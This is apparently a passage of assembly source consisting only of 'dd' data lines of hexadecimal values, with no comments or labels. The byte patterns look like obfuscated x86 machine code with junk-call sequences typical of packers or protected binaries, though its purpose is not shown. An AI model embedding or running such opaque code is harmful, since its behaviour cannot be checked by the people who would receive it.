		dd 8AA81F72h, 6D85FF55h, 8B06A817h, 0A80FD1BDh,	6DB5FF06h
		dd 6606A817h, 95FFF08Bh, 6A81B31h, 40D359BFh, 6A9065h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0DE068EC3h, 42CBE61Ah, 57006AF2h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0E67B9B63h
		dd 0BD8B238Ah, 6A82991h, 0B25B58Bh, 6A06A8h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0B589A0C3h
		dd 6A828C9h, 0B117F681h, 6A1238h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 4349AFC3h, 2E61BD8Bh
		dd 0BD3306A8h, 6A8055Dh, 39800Fh, 0AE90000h, 28000000h
		dd 7249CC4Eh, 24910A25h, 8F0F604Bh, 0
		dd 91D9529h, 13E906A8h,	0A1000000h, 663CC5EEh, 0E55A3607h
		dd 9500E97Ch, 747E228Bh, 0BE6614FFh, 8961D7D2h,	0A810DD8Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0F28B66E3h, 0FFF881E9h, 4EBF66FFh, 0DE815174h
		dd 0E40A913h, 9D952960h, 3106A832h, 0A80515B5h,	8B5F6106h
		dd 57006AC1h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0EF815E5Ch, 445E5A5Fh, 4EBh, 0BD890000h
		dd 6A82BD5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	74C35343h, 25605CABh, 0CE9h, 0C4C50600h, 0F4F167BDh
		dd 236D813Bh, 79B58912h, 8D06A807h, 0A8338585h,	0C5853106h
		dd 5006A814h, 7576B6BFh, 2404892Ah, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 7AC35242h, 6A3FF7h,	6860Fh
		dd 0DF810000h, 7315251Fh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0C2433AC3h, 0F1EE8108h
		dd 8D615211h, 0ABF06E85h, 10E906h, 0DE130000h, 0EDDCDC9Dh
		dd 0B45F0641h, 0CC391406h, 0C083A922h, 0E1D68105h, 906985C2h
		dd 6800F57h, 0F000000h,	8Ch, 0E9505E00h, 0Fh, 0ACDF109Dh
		dd 40E29F95h, 81EEE5FCh, 90F468AAh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0F8C35141h,	0D2376DADh, 285E826Eh
		dd 6AF571h, 2D79B58Bh, 6A06A8h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 9CC35646h, 0B58BD7CCh, 6A80D99h
		dd 254195FFh, 850F06A8h, 15h, 10E9h, 0CC32D700h, 0FD56CC8Dh
		dd 29FCE46Ah, 0E8F5BDEh, 7F9D8DB2h, 6A06AB8Ch, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0FA49C353h, 8B811541h, 29D3FFF3h, 0A82A8595h, 0D9B58906h
		dd 0FF06A829h, 0A833F185h, 0D18D8906h, 0E906A800h, 860h
		dd 0E8h, 0ED815D00h, 6ABF078h, 7E9h, 65456B00h,	0C9D8A2ECh
		dd 176DBD81h, 7D006A8h,	860F0000h, 13Ch, 60F1BF0Fh, 1AE5B529h
		dd 61F906A8h, 1ED9D8Bh,	6A06A8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 80364DC3h, 4725C1EBh
		dd 0E381F9h, 0F8000001h, 0A4CF8166h, 0FDB0B74h,	6085h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 2D97AB2Dh, 99B58B90h, 0F506A828h, 0EEC5BD83h
		dd 0F0006ABh, 0B84h, 4FE900h, 0C6810000h, 6122DBEAh, 0EEC585C7h
		dd 106ABh, 870F0000h, 6, 1D7D8D29h, 2EE906A8h, 8B000000h
		dd 0A800A5BDh, 0C585C706h, 6ABEEh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 82D4C356h, 0ED9D8DBCh, 6A06A801h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0C7F2C356h
		dd 5CD5F819h, 0BEF15CEAh, 4BEF591Eh, 5E9h, 27070D00h, 0BE665792h
		dd 2381F13Ah, 0FFFFFEFFh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 9AC35242h, 9393B073h,	2E21B589h, 0F88B06A8h
		dd 6ADB8C66h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0E5AC355h, 9589F157h, 6A83109h
		dd 0F04C3F6h, 0B384h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0D061A3DCh, 4F34D70Dh
		dd 8D95FFA8h, 6A06A806h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0E9F2C357h,	12h, 77F89B82h
		dd 58E5BEDCh, 8ABE7B93h, 5CA403EBh, 11E8BF6Bh, 5A000000h
		dd 0C3AF073h, 0DCA64A20h, 8F18521Fh, 0FB5D5FE5h, 5250905Eh
		dd 5870Fh, 0A0BF0000h, 0F133418h, 8FBE6631h, 50585A6Ch
		dd 50006A90h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 0F2722432h, 0BAC803AFh, 0F9FE8B66h, 3EAE9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0E2279755h, 0FD3E278h, 685h, 0CDB58B00h
		dd 0B006A80Fh, 758D2900h, 0E606A833h, 52006A70h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 9E3D6FB4h, 0E9FD7BE8h, 0Ah, 8596DF3Ah, 0A61D1BCBh, 71E49BADh
		dd 6AD8B60Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 516EC353h, 0BF6657F9h,	0BA5FD313h
		dd 6, 31899D29h, 0C38B06A8h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 29C35646h, 0A8F0F51h, 0E9000000h
		dd 5, 17ABAD36h, 0E8C15E1Ch, 0E9BD3304h, 6606A80Dh, 0B52BE2F7h
		dd 6A80E65h, 0E681D82Bh, 2D68B36Dh, 241C8950h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B4C35040h, 0C76D3D4Ch
		dd 1E40349Ah, 0F5BD2367h, 0F906A813h, 176DB5FFh, 0FFF806A8h
		dd 0A81B3195h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0BE66526Eh, 0B05E9F7Eh
		dd 14E900h, 2A220000h, 5548FD3Ch, 0BEE2659Bh, 12958193h
		dd 7CF8BAFEh, 70E6F332h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 6EC35343h, 0FC558B76h, 3216F28h, 9E9h
		dd 23619400h, 34A4DBA6h, 71E4DF7Ah, 66F9B70Fh, 613CFB8Bh
		dd 245830Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 60DEACC3h, 0BF66E357h, 0B60FD969h
		dd 56006AD8h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 8EDB4017h, 6E94F74h, 54000000h, 3EE50CF5h
		dd 9151BF7Dh, 0B5012A4Eh, 6A802A9h, 6BAh, 0EE800h, 0F7440000h
		dd 0EEAE6159h, 16AAEF74h, 0DA7CE054h, 0C38B5FFCh, 1565BD2Bh
		dd 0E8C106A8h, 53006A04h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 9F4766FCh, 759DE164h
		dd 0F766410Ah, 53006AE2h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0BA85651h, 0B70FA786h
		dd 0F5D82BF9h, 51006A58h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0F1B4B07Eh, 0E5B58B8Bh
		dd 8906A821h, 0A81AA1BDh, 0FD82B06h, 13E88h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 4716EF90h, 0AAEB53CFh, 7DB503BAh, 8906A825h,	0A82EF595h
		dd 7B906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 8B8BCAC3h, 0C183F0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 53C35646h, 810909Fh
		dd 0D20A6C77h, 80F960C3h, 3B617DE6h, 0B4860FD9h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 570CC350h, 9B58B56h, 5F06A811h, 0D98C665Fh
		dd 8DDE8166h, 4C1F669h,	75840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0C47B21C3h
		dd 82A1EA9Bh, 0FFEA3B47h, 0A8068D95h, 0F9BD2B06h, 5B06A81Eh
		dd 287AF781h, 0C32B7A0Ch, 34B5B523h, 343D06A8h,	0F000008h
		dd 2A86h, 2DE900h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 850F41C3h, 3,	8BF6B70Fh
		dd 62F681C0h, 8B29FB40h, 6AD88BC3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 13AFC350h
		dd 0C56A6452h, 0C7964A70h, 0A8259D85h, 38911106h, 158D295Dh
		dd 8B06A816h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 0CF5E938Dh, 0BE071E60h, 0BD81CEFEh
		dd 6A8176Dh, 7D0h, 12850Fh, 0B5330000h,	6A8091Dh, 176D85FFh
		dd 0BD8B06A8h, 6A816BDh, 176DB5FFh, 6A06A8h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0D72E1C3h
		dd 0A5A902F1h, 3195FFA1h, 6A06A81Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 57F0C351h
		dd 5112CDF3h, 86DCBF51h, 5F5F4E66h, 1F41B50Bh, 6A9006A8h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 54FEC357h, 0B8DA0248h, 9858985h, 8106A82Ah
		dd 0DB21FDF7h, 53006A44h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 97EB1B8h, 68B0F2Bh, 89000000h
		dd 0A80FC1B5h, 0FEBF0F06h, 0A95BD8Bh, 816606A8h, 602596D6h
		dd 8E9h, 28CC7F00h, 8D9FA65Fh, 2820FEDh, 56000000h, 0D18D8958h
		dd 6106A80Ch, 0FCF1B70Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 6DC35343h, 0EB4FE781h, 810F2867h, 1Ah
		dd 14E9h, 0A8C98300h, 730F2D04h, 7BD81417h, 24AC600Dh
		dd 0EAA60044h, 0E681F50Eh, 3A6D09B2h, 9524D781h, 6A6F9Dh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 440032C3h, 21BCB5DCh, 8B5528D2h, 0A80301B5h,	0F7E2E906h
		dd 0F28BFFFFh, 39800Fh,	0BD8B0000h, 6A82FD9h, 14E8h, 0EA0DB500h
		dd 3BA2E123h, 8CC7EF67h, 0A6EE70E9h, 965FD8F8h,	0EE805h
		dd 343B0000h, 22C41443h, 607929F1h, 25DB2D18h, 326ABF5Fh
		dd 0F95E107Ch, 6AC18Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0AADAC4C3h, 4EBF78Bh, 0
		dd 279DB589h, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 858D28C3h, 6A83385h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 1AC35646h, 0BE861h
		dd 4FB40000h, 3A9C828h,	8DDC7CE2h, 12E8515Ch, 0A4000000h
		dd 74AD8936h, 5D6A0C24h, 4E5B298h, 0C91E4A88h, 5E5E5E3Dh
		dd 8B525090h, 50310FF0h, 60310F52h, 5A585A61h, 0E8905058h
		dd 7, 0B3F3DDA4h, 0BF6C4490h, 3DACA3E5h, 6A006A5Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 6A35C351h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 819F3896h, 0E18780EFh, 0E4858D14h
		dd 6A06ABFAh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 7923C350h, 62C5CC8Ah, 0FADFE0Fh
		dd 68Ah, 51B58B00h, 8306A80Fh, 6A05C0h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 66B6BAC3h
		dd 222E5AE9h, 8B0FCD03h, 0Ch, 6880Fh, 840F0000h, 0
		dd 24048950h, 800F51h, 5F000000h, 0EE9h, 0C9469A00h, 16B46FF5h
		dd 0D6FAACEEh, 6AC84952h, 0D6815700h, 1408C55Ah, 0E9006A5Eh
		dd 8, 8A0BAC95h, 0A0DB22D6h, 254195FFh,	8F0F06A8h, 6, 0F9DB523h
		dd 9D8D06A8h, 6AB8C7Fh,	6AD3FFF9h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0F421C355h
		dd 3880F6Bh, 57000000h,	85FF5FF8h, 6A833F1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0ABC35343h, 9CC68166h
		dd 86FE90Eh, 0E80000h, 5D000000h, 0FAEEED81h, 6A06ABh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0BD8BEEC3h, 6A82519h, 176DBD81h, 7D006A8h, 860F0000h
		dd 14Dh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 16h,	49C35242h, 0BF66FAE2h, 9D8BC5E9h, 6A81A6Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0F0C35242h, 0E381BAF9h
		dd 100h, 3178EE81h, 0DB0B74E6h,	0AB850Fh, 5E510000h, 0F8F7BD83h
		dd 0F0006ABh, 4184h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0D611EE35h, 0C95BD03Fh
		dd 0EE930h, 83AB0000h, 8FE935D5h, 7D935A2Ch, 601CD3F3h
		dd 70E9h, 0A574BE00h, 85C77DB7h, 6ABF8F7h, 1, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 3C35141h, 75115F49h
		dd 0E6BE36F6h, 0F07AA29h, 32E9F8B7h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0F2BC350h, 86h, 0F785C700h, 6ABF8h, 8B000000h, 0A81E85BDh
		dd 6D9D8D06h, 5606A81Ah, 0A919BF66h, 0FF23815Eh, 6AFFFFFEh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 1A26C352h, 8B11191Eh, 0A834A1BDh,	0DB8C6606h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 7FC35040h
		dd 0BD89D539h, 6A81551h, 0DBDB533h, 0C3F606A8h,	98840F04h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0F12FC350h, 0BD8B210Ch, 6A80E85h
		dd 28E0Fh, 5F570000h, 68D95FFh,	6A06A8h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0D4666C3h
		dd 0D4B99D7Dh, 0FD0E77Fh, 7E9FABFh, 49000000h, 70DF84A8h
		dd 6650CC44h, 89E5E6BEh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 8770B8C3h, 0E28D329Eh
		dd 0F3CE8116h, 0E931B28Eh, 423h, 6E3A56BFh, 6A00B048h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0F0ADC356h, 8E8A7314h, 621B533h, 70E606A8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0E1C35141h
		dd 3890Fh, 0B70F0000h, 6A71E4F8h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 880C355h
		dd 53E9C147h, 6AD8B60Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 5CBCC352h, 854FA703h
		dd 295F577Ah, 0A80F79BDh, 6BA06h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 1C40C2C3h
		dd 0FA30A5Fh, 1986h, 13E800h, 0CEFE0000h, 0DECD67B9h, 362EE697h
		dd 3B114D23h, 146424CCh, 0C38B5E77h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0FCC35545h,	284C511Dh, 19B98D89h
		dd 0B70F06A8h, 4E8C1FEh, 245DEBEh, 0E2F7666Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0B8C35343h, 8A6B29C3h
		dd 11E9D82Bh, 31000000h, 6212D169h, 0A73FC3E6h,	0F67E948Bh
		dd 9D8FC029h, 5E993h, 9DE80000h, 50298EF6h, 0FCC682BFh
		dd 2EBE937Ch, 0FF14112Fh, 0A8176DB5h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 620BE457h, 6B7E0365h, 5E8h, 705BA900h, 840F1200h, 1
		dd 95FF5FFCh, 6A81B31h,	681B58Bh, 0B006A8h, 26DE8166h
		dd 6A70E603h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 2CE0C352h, 0F4B37755h,	0E4BFBF2Dh
		dd 0E5EE8171h, 3C7737BFh, 30830F61h, 33000002h,	0A80161BDh
		dd 0AD9D8906h, 0F06A826h, 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0FB0F25C3h, 0F57536A8h
		dd 85895343h, 6A82C69h,	8589605Fh, 6A8258Dh, 33ED8D8Bh
		dd 0BA6106A8h, 6, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0E03532C3h, 28B5BD8Bh
		dd 800F06A8h, 5, 74DE8166h, 4E8C12Eh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 9DC35646h, 9998BA1Eh, 4C1E57B5h
		dd 0D6D78166h, 0E2F7669Dh, 0D82BFB8Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0C3C35242h,	9A9E5FD0h, 99B52BD5h
		dd 5806A831h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 15h,	0A7C35040h, 8FDE8133h, 2B4C4253h, 2C880FD8h, 0B9000001h
		dd 7, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h, 17h
		dd 98C35141h, 8BBB79D2h, 0A80F9DBDh, 0C18306h, 0E3DB58Bh
		dd 0D93B06A8h, 0F1860Fh, 11E90000h, 0F2000000h,	676B3B9h
		dd 2E281F6h, 0A881FC7Ch, 8473AE0Ch, 8BD98C66h, 0A82FB1B5h
		dd 0B5B58B06h, 0F606A81Fh, 840F04C1h, 9Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 57C35040h, 0F4927204h
		dd 30309C82h, 0F8B70FE4h, 68D95FFh, 6A06A8h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 28034FC3h
		dd 5B762ABCh, 0B01BD8Bh, 0C32B06A8h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 8FC35242h, 8B42B6BEh, 0A82D9DBDh
		dd 0FA8B6606h, 8343Dh, 11860F00h, 0F000000h, 89h, 2DE900h
		dd 8D290000h, 6A81671h,	6AC08Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0F2358C3h, 37AD0A09h
		dd 8B908792h, 66D88BC3h, 0C72281BEh, 0A801ED85h, 0BFE1D906h
		dd 8BFB8B78h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0D7DFC1A5h, 54897F16h, 950177BDh
		dd 6A82F35h, 176DBD81h,	7D006A8h, 850F0000h, 30h, 26B1BD8Bh
		dd 85FF06A8h, 6A8176Dh,	14E9h, 7BF6F000h, 9AD391F3h, 5B4097E8h
		dd 6423FFD9h, 0E86986E5h, 5840F9Ch, 0BF000000h,	0A6C3353h
		dd 176DB5FFh, 0E78106A8h, 0C60634Dh, 1B3195FFh,	6A06A8h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0B9FA51C3h, 4AE348EBh, 398D8967h, 5706A806h,	1B81B58Bh
		dd 905F06A8h, 13F5BD89h, 0F6006A8h, 281h, 0E9585200h, 0Fh
		dd 0C1521E45h, 147CDACEh, 0DEA475AFh, 80D9C3A8h, 6661D8DDh
		dd 6AF78Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0B58918C3h, 6A831F1h, 9840Fh, 9D890000h
		dd 6A82005h, 89F3B70Fh,	0A802ED85h, 29858906h, 8B06A807h
		dd 0A81FEDBDh, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 6AB074h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0BEFE2EC3h
		dd 26B98D89h, 12E806A8h, 1D000000h, 32E518A8h, 840EEA2h
		dd 89412687h, 3846ABB6h, 8B5FF52Fh, 0A82D79B5h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 338CB136h, 0C18D31A5h, 8906A806h, 0A8288985h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 2F8E64B6h, 0F79CE95Eh, 8166FFFFh, 0BB58EF6h,	0A82C55B5h
		dd 6AC18B06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 9A8BC352h, 867350B0h, 8A0F345Fh
		dd 3, 0E9F88B66h, 12h, 0C55174C8h, 5B86E7D5h, 9474DD97h
		dd 0CDF0DC11h, 4EBE641h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 1EC35242h
		dd 20ADBD5Ah, 0DBD8B65h, 6A06A809h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0CDCEC353h
		dd 0FA8B663Fh, 11D9531h, 858D06A8h, 6A83385h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E9C35747h, 0F543C5CFh
		dd 0F38B6650h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 65E8C353h, 874A0311h
		dd 6A29AA18h, 0CE800h, 3F730000h, 1D865197h, 0A5D089E3h
		dd 8B60F652h, 0A83299BDh, 0D2B70F06h, 6A5E61h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 26C35242h, 5BC075B3h
		dd 0A8F78D59h, 19E78112h, 0F6EC514h, 858DFEBFh,	6AC0594h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 69C35141h
		dd 0E905C083h, 13h, 1A1397E1h, 71046CF9h, 0C7D70689h, 0F2D38964h
		dd 90426D66h, 4880Fh, 57500000h, 60505E5Eh, 820F5250h
		dd 0
		dd 585A310Fh, 61F88B66h, 6850F90h, 29000000h, 0A80BB98Dh
		dd 6A006A06h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 9E657F62h, 860F7000h, 2, 95FFF18Bh
		dd 6A82541h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	4EC35343h, 17C58531h, 816606A8h, 8D2A08C7h, 0AB8C7F9Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 6D4DA721h, 0E4EA94D7h, 9C932FBFh, 8B66523Ah
		dd 0D3FF5EF1h, 0F185FFF5h, 2906A833h, 0A80675BDh, 83BE906h
		dd 0E80000h, 5D000000h,	59EED81h, 8B6606ACh, 6DBD81F9h
		dd 0D006A817h, 0F000007h, 12186h, 219D8B00h, 8906A830h
		dd 0A82FD595h, 0E38106h, 89000001h, 0A8077985h,	0FDB0B06h
		dd 0BB85h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0AD7E6DAAh, 8BDE80A3h, 0A80839BDh
		dd 9FBD8306h, 6AC03h, 76840Fh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 4F6FD6C3h
		dd 398D893Dh, 0E806A830h, 10h, 291E2A74h, 9D451378h, 38B54071h
		dd 0C2F6F9B4h, 75E95Fh,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 13CEB8C3h, 0E9E3A543h
		dd 10h,	0EEF97C55h, 0A3132E4Dh,	8652D54Eh, 5D9B2DD8h, 39F85C7h
		dd 106ACh, 0E9F90000h, 2Fh, 39F85C7h, 6ACh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 944DACC3h, 0C8F215C8h, 8DFC57B3h, 0A830219Dh, 0E7816606h
		dd 23810A47h, 0FFFFFEFFh, 21D59D89h, 8C6606A8h,	50006ADBh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 939D1F4Dh, 0F04C3F6h, 5684h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0F6C07A27h
		dd 8A0DD58Bh, 6E9h, 0D1EC2200h,	0FF15F3BFh, 0A8068D95h
		dd 0A5952906h, 5006A820h, 68B0Fh, 8E0F0000h, 0
		dd 0F240489h, 680h, 65BD2900h, 0E906A830h, 43Ch, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 35C35545h, 4CD059Bh
		dd 8B781AB0h, 0A814EDBDh, 0E600B006h, 52006A70h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 0B8B37BB6h, 0B290BF66h, 6A71E4h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 59ED84C3h
		dd 5D5DA15Fh, 0BC59509h, 0B60F06A8h, 0C1BE66D8h, 6BABEh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0D19AD2C3h, 0FEACD2BDh, 2DBF66ACh, 0FC38BC3h
		dd 1184h, 0AE800h, 0D7810000h, 0EE2AE4D8h, 34EF1E78h, 0E8C15FF9h
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 8AC4450h, 0F530CF3h, 0F87h, 9E800h, 0CF030000h
		dd 0FEA8D33Fh, 5FC32D70h, 0E2F7665Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 89C35545h, 2B271494h, 15B589D8h
		dd 5006A80Bh, 1C89F78Bh, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 6A111A3Bh, 0DE9h, 56083900h
		dd 4535D941h, 0E796E1CFh, 0B5FF8A71h, 6A8176Dh,	729B523h
		dd 95FF06A8h, 6A81B31h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 9DC35747h, 8B00B0AFh,	0A81C09BDh, 8970E606h
		dd 0A8329985h, 6A71E406h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0C410C353h,	1DE9031Eh
		dd 0F613C3Ch, 26F83h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 6D0FA743h, 2FC5BD8Bh
		dd 0B60F06A8h, 55006AD8h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0F5C71EA0h, 6069D01Dh
		dd 2DB58BFCh, 6106A800h, 6BAh, 50006A00h, 3E8h,	0C3582000h
